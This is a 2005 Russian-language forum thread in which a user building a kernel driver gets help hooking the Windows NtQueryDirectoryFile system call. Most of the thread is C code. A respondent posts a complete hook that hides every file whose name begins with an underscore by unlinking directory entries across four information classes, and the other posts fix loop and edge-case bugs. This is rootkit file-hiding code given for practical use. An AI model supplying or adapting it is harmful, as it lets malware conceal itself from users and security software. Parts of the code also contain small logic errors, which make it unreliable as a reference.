Проблема с NtQueryDirectoryFile

Тема в разделе "WASM.WIN32", создана пользователем electron, 6 сен 2005.

  1. electron

    electron New Member

    Публикаций:
    0
    Пишу программу по Ms-Rem'ой статье про Ring-0.Возникла проблема с функцией NtQueryDirectoryFile.Ставлю на неё перехват при малом количестве файлов,отображаемых Explorer'ом всё OK, но стоит зайти в папку где много файлов комп уходит в reboot.Вот код функции перехвата:



    NTSTATUS NewNtQueryDirectoryFile (

    IN HANDLE FileHandle,

    IN HANDLE Event OPTIONAL,

    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,

    IN PVOID ApcContext OPTIONAL,

    OUT PIO_STATUS_BLOCK IoStatusBlock,

    OUT PVOID FileInformation,

    IN ULONG FileInformationLength,

    IN FILE_INFORMATION_CLASS FileInformationClass,

    IN BOOLEAN ReturnSingleEntry,

    IN PUNICODE_STRING FileName OPTIONAL,

    IN BOOLEAN RestartScan)

    {

    ULONG NextOff=0;

    KIRQL irql = KeGetCurrentIrql();

    LPSTR fileInf=FileInformation;

    Result=TrueNtQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContex t,IoStatusBlock,FileInformation,FileInformationLength,FileInformationC lass,ReturnSingleEntry,FileName,RestartScan);

    KeAcquireSpinLock(&MySpinLock,&irql);





    switch(FileInformationClass)

    {

    case 0x0003:

    while((((PFILE_BOTH_DIRECTORY_INFORMATION)fileInf)->NextEntryOffset)!= 0)

    {

    NextOff=((PFILE_BOTH_DIRECTORY_INFORMATION)fileInf)->NextEntryOffset;

    fileInf+=((PFILE_BOTH_DIRECTORY_INFORMATION)fileInf)->NextEntryOffset;





    }



    break;

    default:

    break;

    }

    KeReleaseSpinLock(&MySpinLock,irql);

    return Result;



    }



    Если закомментировать while то всё OK.Спасибо.
     
  2. _staier

    _staier New Member

    Публикаций:
    0
    обьяви

    PFILE_BOTH_DIRECTORY_INFORMATION fileInf,NextOff;



    вместо LPSTR

    может тогда легче станет :derisive:
    Код (Text):
    1.  
    2.  
    3. PFILE_BOTH_DIRECTORY_INFORMATION fileInf;
    4.  
    5. while(!fileInf->NextEntryOffset)
    6. {
    7.  
    8.   ((char*)fileInf)+=fileInf->NextEntryOffset;
    9.  
    10. }
    11.  




    и смотри в отладчике , что там и как :derisive:
     
  3. electron

    electron New Member

    Публикаций:
    0
    ""и смотри в отладчике , что там и как :derisive:""



    Можно ли SoftIce'ом приаттачится к драйверу.Если это так то plz черканите пару строк как это можно сделать.



    "обьяви

    PFILE_BOTH_DIRECTORY_INFORMATION fileInf,NextOff; "





    Могу ошибаться,но как мне кажется,в твоём случае придётся инициализировать два объекта,размером со структуру PFILE_BOTH_DIRECTORY_INFORMATION,которые займут 2xsizeof(PFILE_BOTH_DIRECTORY_INFORMATION)в памяти.В моём же случае 2xsizeof(ULONG),что меньше.
     
  4. MegaZu

    MegaZu New Member

    Публикаций:
    0




    Почему мы всё равно в конце концов работаем с указателями...



    А если делать парсинг не только FileBothDirectoryInformation, а ещё FileDirectoryInformation, FileFullDirectoryInformation, FileNamesInformation ?? В таком случае 2 двордами можно спокойно обойтись. Хотя для лучшей читабельности кода можна и все структуры обьявить.







    sizeof(PFILE_BOTH_DIRECTORY_INFORMATION) == sizeof(ULONG)
     
  5. electron

    electron New Member

    Публикаций:
    0




    Да, ну и сморозил же я,только сейчас дошло.



    Но можно сохранить дворд если не объявлять fileInf,а сделать так:

    FileInformation+=((PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation)-> NextEntryOffset;
     
  6. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Удивительно как этот код вообще где-то работает. В нем нет ни проверок на успешность вызова NtQueryDirectoryFile ни обработки других классов информации ни даже корректной обработки всех ситуаций возникающих при скрытии.

    Держи пример обработчика который скрывает все файлы имена которых начинаются с "_"


    Код (Text):
    1. NTSTATUS
    2.   NewZwQueryDirectoryFile(
    3.         IN HANDLE FileHandle,
    4.         IN HANDLE Event OPTIONAL,
    5.         IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
    6.         IN PVOID ApcContext OPTIONAL,
    7.         OUT PIO_STATUS_BLOCK IoStatusBlock,
    8.         OUT PVOID FileInformation,
    9.         IN ULONG FileInformationLength,
    10.         IN FILE_INFORMATION_CLASS FileInformationClass,
    11.         IN BOOLEAN ReturnSingleEntry,
    12.         IN PUNICODE_STRING FileName OPTIONAL,
    13.         IN BOOLEAN RestartScan)
    14. {
    15.     NTSTATUS status = TrueZwQueryDirectoryFile(FileHandle,
    16.                                                Event,
    17.                                                ApcRoutine,
    18.                                                ApcContext,
    19.                                                IoStatusBlock,
    20.                                                FileInformation,
    21.                                                FileInformationLength,
    22.                                                FileInformationClass,
    23.                                                ReturnSingleEntry,
    24.                                                FileName,
    25.                                                RestartScan);
    26.  
    27.     if (NT_SUCCESS(status))
    28.     {
    29.         PFILE_FULL_DIRECTORY_INFORMATION FileDirectoryInfo, LastFileDirectoryInfo;
    30.         PFILE_FULL_DIRECTORY_INFORMATION LastFileFullDirectoryInfo, FileFullDirectoryInfo;
    31.         PFILE_BOTH_DIRECTORY_INFORMATION LastFileBothDirectoryInfo, FileBothDirectoryInfo;
    32.         PFILE_NAMES_INFORMATION          LastFileNamesInfo, FileNamesInfo;
    33.  
    34.         ULONG Offset = 0;
    35.  
    36.         switch (FileInformationClass)
    37.         {
    38.             case FileDirectoryInformation :
    39.                 FileDirectoryInfo = NULL;
    40.                 do
    41.                 {
    42.                     FileDirectoryInfo = (PVOID)((ULONG)FileInformation + Offset);
    43.                     LastFileDirectoryInfo = FileDirectoryInfo;
    44.  
    45.                     if (FileDirectoryInfo->FileName[0] == 0x5F00)
    46.                     {
    47.                         if (!FileDirectoryInfo->NextEntryOffset)
    48.                         {
    49.                             if (LastFileDirectoryInfo) LastFileDirectoryInfo->NextEntryOffset = 0;
    50.                             else status = STATUS_NO_SUCH_FILE;
    51.                             return status;
    52.                         } else
    53.                         if (LastFileDirectoryInfo) LastFileDirectoryInfo->NextEntryOffset += FileDirectoryInfo->NextEntryOffset;                       
    54.                     }
    55.  
    56.                     Offset += FileDirectoryInfo->NextEntryOffset;
    57.  
    58.                 } while (FileDirectoryInfo->NextEntryOffset);
    59.  
    60.             break;
    61.  
    62.             case FileFullDirectoryInformation :
    63.                 FileFullDirectoryInfo = NULL;
    64.                 do
    65.                 {
    66.                     LastFileFullDirectoryInfo = FileFullDirectoryInfo;
    67.                     FileFullDirectoryInfo = (PVOID)((ULONG)FileInformation + Offset);
    68.  
    69.                     if (FileFullDirectoryInfo->FileName[0] == 0x5F00)
    70.                     {
    71.                         if (!FileFullDirectoryInfo->NextEntryOffset)
    72.                         {
    73.                             if (LastFileFullDirectoryInfo) LastFileFullDirectoryInfo->NextEntryOffset = 0;
    74.                             else status = STATUS_NO_SUCH_FILE;
    75.                             return status;
    76.                         } else
    77.                         if (LastFileFullDirectoryInfo) LastFileFullDirectoryInfo->NextEntryOffset += FileFullDirectoryInfo->NextEntryOffset;
    78.                     }
    79.  
    80.                     Offset += FileFullDirectoryInfo->NextEntryOffset;
    81.  
    82.                 } while (FileFullDirectoryInfo->NextEntryOffset);
    83.             break;
    84.  
    85.             case FileBothDirectoryInformation :
    86.                 FileBothDirectoryInfo = NULL;
    87.                 do
    88.                 {
    89.                     LastFileBothDirectoryInfo = FileBothDirectoryInfo;
    90.                     FileBothDirectoryInfo = (PVOID)((ULONG)FileInformation + Offset);
    91.                     if (FileBothDirectoryInfo->FileNameLength > 1 && FileBothDirectoryInfo->FileName[0] == 0x5F00)
    92.                     {
    93.                         if (!FileBothDirectoryInfo->NextEntryOffset)
    94.                         {
    95.                             if (LastFileBothDirectoryInfo) LastFileBothDirectoryInfo->NextEntryOffset = 0;
    96.                             else status = STATUS_NO_SUCH_FILE;
    97.                             return status;
    98.                         } else
    99.                         if (LastFileBothDirectoryInfo) LastFileBothDirectoryInfo->NextEntryOffset += FileBothDirectoryInfo->NextEntryOffset;
    100.                     }
    101.  
    102.                     Offset += FileBothDirectoryInfo->NextEntryOffset;
    103.  
    104.                 } while (FileBothDirectoryInfo->NextEntryOffset);
    105.             break;
    106.  
    107.             case FileNamesInformation :
    108.                 FileNamesInfo = NULL;
    109.                 do
    110.                 {
    111.                     LastFileNamesInfo = FileNamesInfo;
    112.                     FileNamesInfo = (PVOID)((ULONG)FileInformation + Offset);
    113.                     if (FileNamesInfo->FileName[0] == 0x5F00)
    114.                     {
    115.                         if (!FileNamesInfo->NextEntryOffset)
    116.                         {
    117.                             if(LastFileNamesInfo) LastFileNamesInfo->NextEntryOffset = 0;
    118.                             else status = STATUS_NO_SUCH_FILE;
    119.                             return status;
    120.                         } else
    121.                         if (LastFileNamesInfo) LastFileNamesInfo->NextEntryOffset += FileNamesInfo->NextEntryOffset;
    122.                     }
    123.  
    124.                     Offset += FileNamesInfo->NextEntryOffset;
    125.                 } while (FileNamesInfo->NextEntryOffset);
    126.             break;
    127.         }
    128.     }
    129.  
    130.     return status;
    131. }
     
  7. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    И кстати, зачем ты в своем коде использовал спинлоки? От них в данном случае все только тормозить будет.

    Синхронизация тут не нужна, так как никто другой не будет обращаться к модифицируемой информации.
     
  8. electron

    electron New Member

    Публикаций:
    0
    Спасибо всем,особенно Ms-Rem'у.
     
  9. MegaZu

    MegaZu New Member

    Публикаций:
    0
    можна и так


    Код (Text):
    1. ULONG Offset = 0;
    2. ULONG PrevItem;
    3.  
    4. while(((PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation)->NextEntryOf fset != 0)
    5. {
    6. Offset = (ULONG)FileInformation;
    7. (ULONG)FileInformation = Offset + ((PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset;
    8. }
     
  10. MegaZu

    MegaZu New Member

    Публикаций:
    0
    Не успел =)
     
  11. electron

    electron New Member

    Публикаций:
    0




    Предпологал,что другой код обращается в NewZwQueryDirectoryFile и что-то меняет в ней.Ещё раз спасибо.
     
  12. MegaZu

    MegaZu New Member

    Публикаций:
    0


    Наверное должно быть так ?)

    Offset += FileDirectoryInfo->NextEntryOffset;



    А то сейчас скажет что там еррор =)
     
  13. electron

    electron New Member

    Публикаций:
    0




    Да, но зачем нам Offset:

    //ULONG Offset = 0;

    ULONG PrevItem;



    while(((PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation)->NextEntryOf fset != 0)

    {

    //Offset = (ULONG)FileInformation;

    (ULONG)FileInformation +=((PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset ;

    }
     
  14. Ms Rem

    Ms Rem New Member

    Публикаций:
    0


    Если о обращается, то меняет другую копию информации, а не ту что ты редактируешь.
     
  15. MegaZu

    MegaZu New Member

    Публикаций:
    0




    Возврат на предыдущую ячейку.
     
  16. electron

    electron New Member

    Публикаций:
    0


    Тогда так(экономим один дворд :)):



    //ULONG Offset = 0;

    ULONG PrevItem;



    while(((PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation)->NextEntryOf fset != 0)

    {

    //Offset = (ULONG)FileInformation;

    PrevItem=((PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation)->NextEntr yOffset;

    (ULONG)FileInformation +=((PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset ;

    }
     
  17. electron

    electron New Member

    Публикаций:
    0


    да тоже самое только с PrevItem.Опять сморозил.
     
  18. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    От уменьшения размеров переменных в стеке ничего лучше не станет, а вот читабельность кода весьма важный фактор.

    Раньше я тоже писал подобным стилем, но сейчас взглянул на свои исходники годовой давности и понял что нифига в них не понимаю. Вот теперь стараюсь читабельный код писать.
     
  19. MegaZu

    MegaZu New Member

    Публикаций:
    0
    Да ну ладно ... , ты хочеш сэкономить 4 байта, тогда когда хотел юзать спинлоки и потерять время =)
     
  20. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Кстати, варианты с while(((PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation)->NextEntryOf fset != 0) неправильны.

    Так как может быть ситуация, когда в папке только один файл который и нужно скрывать, в этом случае его NextEntryOffset == 0 и он не будет скрыт.